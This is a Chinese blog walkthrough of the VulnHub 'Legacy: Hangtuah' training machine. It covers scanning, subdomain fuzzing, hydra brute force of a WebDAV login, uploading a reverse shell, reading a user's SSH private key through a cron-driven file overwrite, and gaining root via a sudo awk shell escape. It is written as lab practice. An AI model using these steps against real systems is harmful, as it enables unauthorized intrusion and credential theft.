vulhub-Legacy:Hangtuah靶机渗透详细流程

已于 2024-07-17 10:28:19 修改
阅读量2k 收藏 46
点赞数 42
文章标签： 安全
于 2024-05-27 16:32:01 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nwonknu16/article/details/139233758
版权

文章目录

靶机信息

靶机下载地址：https://www.vulnhub.com/entry/legacy-hangtuah,539/

例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。

一、确认靶机的ip、端口、服务

arp-scan -interface=eth1 --localnet

在这里插入图片描述

nmap -A 192.168.7.161 -p-

在这里插入图片描述

确认靶机ip为192.168.7.161，开启了80、22、777端口，分别对应HTTP、SSH、FTP服务。

二、FTP渗透

nmap扫描发现ftp允许匿名登录

lftp 192.168.7.161 -p  777
user anonymous

在这里插入图片描述

登录后发现无法正常执行命令

在这里插入图片描述

三、HTTP渗透

1.网站根目录扫描

网站首页为apache2

在这里插入图片描述

dirsearch -u http://192.168.7.161

在这里插入图片描述

访问获取到域名信息legacyhangtuah.com

在这里插入图片描述

2、域名信息搜集

绑定域名后访问网页

在这里插入图片描述

dirsearch -u http://legacyhangtuah.com

在这里插入图片描述

依次访问后未发现可利用信息，因为此类有域名的题目常见还有子域名，故接下来的思路以子域名爆破为主

3、子域名爆破

wfuzz -H 'HOST: FUZZ.legacyhangtuah.com' -u 'http://legacyhangtuah.com/' -w /root/dict/web.txt --hw 968,53

在这里插入图片描述

将door.legacyhangtuah.com添加到hosts后访问

在这里插入图片描述

翻译大意如下：

在这里插入图片描述

4、通过webdav组件获取webshell

注意到上述提到了backup，可能该子域名下存在备份文件，进行网站下扫描

gobuster dir -u http://door.legacyhangtuah.com/ -w /root/dict/web.txt -x php,html,txt,bak

在这里插入图片描述

发现webdav路径，访问

在这里插入图片描述

一般webdav默认用户名为admin，用hydra尝试爆破

hydra -l admin -P /usr/share/wordlists/rockyou.txt door.legacyhangtuah.com http-get /webdav

在这里插入图片描述

用admin:admin进行登录查看

在这里插入图片描述

下载passwd.dav文件，发现是类似/etc/shadow类型的加密账号密码

在这里插入图片描述

用john破解，依然是admin:admin，猜测主机存在admin用户且密码为admin，尝试ssh登录后失败

切换下思路，用webdav上传个反弹shell

cadaver http://door.legacyhangtuah.com/webdav/
put Desktop/RS.php

在这里插入图片描述
刷新后出现反弹shell，nc开启监听后访问获取webshell

在这里插入图片描述
在这里插入图片描述

四、后渗透提权

1.定时任务提权

先模拟终端

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python3 /tmp/asdf.py

在这里插入图片描述

查找可疑文件，发现/var/www下存在可疑文件夹chest和历史命令文件.bash_history

在这里插入图片描述

先看看chest，未发现可利用的信息

在这里插入图片描述

查看.bash_history，发现反复出现的两个可疑文件send_letter.txt和official_letter.txt，且有两条覆写命令中包含敏感文件/etc/passwd和id_rsa

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

查找发现send_letter.txt和official_letter.txt路径，两个文件都与pendekar用户有关，猜测下一步的提权目标用户就是pendekar

find / -name "send_letter.txt" 2>/dev/null
find / -name "official_letter.txt" 2>/dev/null

在这里插入图片描述

在/opt/pendekar下发现两个文件，查看信息

在这里插入图片描述

进入/home/pendekar，查看send_letter.txt

在这里插入图片描述

试了下pendekar用户目录下其他的一些文件，基本没有什么访问权限，然后重新查看send_letter.txt发现内容发生变化，official_letter.txt也发生了变化

在这里插入图片描述

根据之前的命令历史，猜测有一个定时任务，将/home/pendekar/gold路径下随机文件路径写入到official_letter.txt中，而send_letter.txt的内容就是该随机文件的内容

那么根据之前的命令历史和上面的推断，两条覆写命令可以对敏感文件/etc/passwd和id_rsa进行读取，那么尝试写入pendekar的ssh私钥路径

echo "/home/pendekar/.ssh/id_rsa" > official_letter.txt
cat /home/pendekar/send_letter.txt

在这里插入图片描述

通过私钥登录pendekar

ssh pendekar@192.168.7.161 -i id_rsa

在这里插入图片描述

拿到flag1
在这里插入图片描述

2、ssh私钥提权

进入hangtuah用户目录，查看可疑文件lastnotes.txt

在这里插入图片描述

疑似是摩斯密码，去网站进行解密

解密网站：https://www.boxentriq.com/code-breaking/morse-code?ref=infosecarticles.com

在这里插入图片描述

解密后大意为我们已经有权限了，就是"KEY"，联想到的就只能是ssh的私钥了，猜测hangtuah用户与pendekar用户共用同一密钥

ssh hangtuah@192.168.7.161 -i id_rsa

在这里插入图片描述

3、sudo命令提权

sudo -l查看可以sudo执行的命令

在这里插入图片描述

在GTFO上搜索awk，使用对应提权命令
GTFO网址:https://gtfobins.github.io/

在这里插入图片描述

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

拿到/root下flag，结束

在这里插入图片描述

只鱼Sekiyo
关注
HTB靶场系列 Windows靶机 Legacy靶机
m0_57221101的博客
01-27 2005
勘探 常规nmap扫描 root@kali# nmap 10.10.10.4 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-18 20:30 EST Nmap scan report for 10.10.10.4 Host is up (0.018s latency). Not shown: 65532 filtered ports
sh: webpack-dev-server: command not found 错误
热门推荐
chengtingh74089的博客
08-21 1万+
公司的项目前端代码，技术栈用的是react+dva+react-router+antd，没有采用服务器端渲染，拉下来后npm install,太慢了，换了cnpm install，安装完成。 "dev": "webpack-dev-server --progress --config ./w...
vulhub打靶记录——healthcare
qq_55202378的博客
04-02 1190
端口扫描发现开放的端口；目录扫描发现web网站的上下文，但是需要合适的字典；发现openemr有漏洞，找到exp直接获取数据库密码；寻找SUID程序strings打印可打印字符，发现执行ifconfig，更改系统环境变量，执行ifconfig时优先执行伪造的ifconfig。
vulhub漏洞复现59_Ruby
weixin_44193247的博客
02-12 457
vulhub漏洞复现练习篇
Ruby Net::FTP 模块命令注入漏洞（CVE-2017-17405）漏洞复现
weixin_51804748的博客
01-17 2062
漏洞简介 Ruby Net::FTP 模块是一个 FTP 客户端，在上传和下载文件的过程中，打开本地文件时使用了 open 函数。而在 ruby 中，open 函数是借用系统命令来打开文件，且没用过滤 shell 字符，导致在用户控制文件名的情况下，将可以注入任意命令。 Vulhub（CVE-2017-17405） 环境搭建 靶机使用vulhub ┌──(root????kali)-[~] └─# cd /root/vulhub/ruby/CVE-2017-17405
【内网渗透】vulnhub三个基础靶场wp
weixin_51614272的博客
09-15 3712
ssh、msf、webdav、linux、kali、basic_pentesting_1、Me-and-My-Girlfriend-1、narak
Vulhub渗透测试环境搭建
Ciyaso的博客
04-22 1495
Vulhub渗透测试环境搭建 一.说明 Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单，让安全研究者更加专注于漏洞原理本身,Vulhub拥有大量靶场，包含了各种软件不同版本的漏洞，是学习漏洞复现的一个优质靶场 具体软件如下 二.安装Docker 1.安装pip curl -s https://bootstrap.pypa.io/get-pip.py | python3 2.安装最新版本的docker
靶机渗透练习90-Grotesque：1.0.1
hirak0的博客
05-02 2945
靶机描述 靶机地址：https://www.vulnhub.com/entry/grotesque-101,658/ Description get flags difficulty: medium about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions. This works
npm install xxxx --legacy-peer-deps命令是什么？
知之为知之，不知为不知
11-13 3720
package.json文件里的dependencies和devDependencies有什么区别吗？）。那么命令–legacy-peer-dep里的peerDependency是什么依赖呢？根据geeksforgeeks网站里的定义：翻译一下就是说，在package.json文件中，存在一个叫做peerDependencies（对等依赖关系）的对象，它包含了项目里需要的所有的包或则用户正在下载的版本号相同的所有的包（很绕，但意思就是对等依赖关系指定我们的包与某个特定版本的npm包兼容）；
安全知识见闻-脚本语言对与安全的重要性
2201_75446043的博客
10-27 1109
批处理文件是以.bat扩展名结尾的文本文件，其中包含一系列命令，通常用于自动化任务。在Windows操作系统中，批处理文件可以通过命令提示符（CMD）运行。PowerShell是微软推出的一种任务自动化和配置管理框架，结合了命令行界面和脚本语言的特性。它的命令称为“cmdlet”，支持对象导向，能够处理复杂的数据结构。编写宏病毒、脚本病毒、BIOS病毒或进行内网渗透都需要特定的技术知识和编程技能，类似的脚本病毒还有很多，无法一一列举。
等保测评的主要内容
waitaikong_的博客
10-25 453
等保测评的目的是确保信息系统的安全运行，提高安全性能，防范网络攻击和安全威胁，保护国家重要信息基础设施的安全。通过等保测评，可以为信息系统的安全建设提供科学依据，指导相关部门和企业进行有效的安全措施和防护措施.
API接口开放与安全管控 - 原理与实践
whisperzzza的博客
10-27 1271
API安全是接口开放的前提条件 在API对外开放时，确保其安全性至关重要，因为API直接暴露给外部环境，容易成为攻击目标。一旦被恶意利用，可能导致数据泄露、服务滥用等严重后果。因此，通过API网关实施严格的接口安全管理措施，如身份验证、访问控制和流量限制，成为保护后端服务免受威胁的第一道防线。这不仅有助于维护系统的稳定性和可靠性，还能增强用户对平台的信任度。
【万户软件-注册安全分析报告-无验证方式导致安全隐患】
10-27 713
北京万户软件技术有限公司（简称“万户软件”）是北京华宇软件股份有限公司（股票简称：“华宇软件”，股票代码：300271）的全资⼦公司，创始于1998年，总部位于北京经开区信创园，二十余年专注数字办公协同业务。公司围绕智慧政务、企业数字化转型、信创改造等业务领域，为各级政府部⻔、⼤型集团企业及相关⾏业单位提供从规划咨询、应⽤软件、实施交付到持续运营维护的全⽅位服务。
【商汤科技-注册/登录安全分析报告】
10-26 1533
作为人工智能软件公司，商汤科技以“坚持原创，让AI引领人类进步”为使命，旨在持续引领人工智能前沿研究，持续打造更具拓展性更普惠的人工智能软件平台，推动经济、社会和人类的发展，并持续吸引及培养顶尖人才，共同塑造未来。商汤科技拥有深厚的学术积累，并长期投入于原创技术研究，不断增强行业领先的多模态、多任务通用人工智能能力。
安全日志记录的重要性
分享关于Java编程、数据库管理和信息安全方面的最佳实践
10-24 2084
安全日志记录是任何信息安全体系的基石。通过合理设计日志系统，可以确保在面对安全事件时，拥有足够的证据追踪问题并迅速采取行动。通过采用加密、分布式存储、实时监控等策略，确保日志的完整性和可用性，进而为整个系统的安全提供强有力的保障。希望这篇文章和提供的伪代码能帮助你更好地理解并实施安全日志记录系统。
网站被浏览器提示不安全怎么办？——附解决方案
2403_87921797的博客
10-30 448
首先，确保你的网站使用了有效的SSL证书。使用安全扫描工具来检测潜在的安全问题。记住，网站安全不仅关乎用户体验，也直接影响到网站的搜索排名和信誉。：在解决问题期间，通过社交媒体、电子邮件等方式通知用户你的网站正在进行安全维护，以减少用户的不信任感。：如果你已经解决了安全问题，可以向浏览器提供商提交重新审查的请求，以便他们更新你的网站安全状态。：即使问题得到解决，也需要持续监控网站的安全状态，防止未来再次出现安全问题。：确保你的网站托管服务提供商具有良好的安全记录，能够提供必要的安全支持。
安全日志里提示：C:\Windows\System32\dasHost.exe
XiaoShen`s BLOG
10-27 280
dashost.exe是操作系统中一个重要的组件，是一个安全的微软Windows系统的过程,称为“设备协会框架提供主机”，但要确保该进程的位置位于：C:\Windows\System32目录中！
如何使用AdsPower指纹浏览器克服爬虫技术限制，安全高效进行爬虫！
最新发布
2401_86660624的博客
10-30 954
今天，我们将分析当前爬虫技术的挑战，并探索如何利用AdsPower指纹浏览器来克服这些问题，提高爬虫的效率和隐蔽性。
如何在Linux系统中使用SSH进行安全连接
qq_36287830的博客
10-30 345
SSH是一个网络协议，用于计算机之间的安全登录以及命令执行，此外还允许进行安全的数据传输。通过本文，你已经学习了如何在Linux系统中使用SSH进行安全连接。我们介绍了SSH的基本概念、安装方法、启动SSH服务、验证安装、SSH配置、SSH客户端、SSH密钥认证、使用SSH隧道、SSH端口转发、使用SSH代理、SSH环境变量、SSH日志、SSH守护进程选项、使用SSH密钥管理工具、使用SSH证书、使用SSH网关、SSH的高级特性等内容。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值